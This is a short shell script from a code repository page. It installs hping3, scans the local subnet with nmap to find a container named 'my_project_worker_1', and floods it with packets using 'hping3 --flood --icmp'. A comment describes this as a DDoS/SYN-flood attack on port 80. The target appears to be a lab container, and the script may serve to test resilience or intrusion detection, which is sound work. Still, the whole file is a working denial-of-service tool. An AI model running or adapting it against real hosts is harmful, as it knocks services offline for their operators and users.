You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
11 lines
475 B
11 lines
475 B
4 years ago
|
sudo apt update
|
||
|
sudo apt upgrade -y
|
||
|
sudo apt install hping3 -y
|
||
|
netip=$(ifconfig|grep inet|sed -n 1p|awk "{print \$2}"|cut -f 1-3 -d "."|sed 's/$/.*/')
|
||
|
clear
|
||
|
echo "Target network: " $netip
|
||
|
#Find worker1 victim IP
|
||
|
worker1=$(nmap -sP $netip|grep my_project_worker_1.my_project_net|awk '{print $NF}'|tr -d '()')
|
||
|
#Ddos attack to worker1 with syn flood at port 80 and icmp protocol
|
||
|
echo "Initiate attack towards worker 1 with IP: "$worker1
|
||
|
sudo hping3 -p 80 --flood --icmp $worker1
|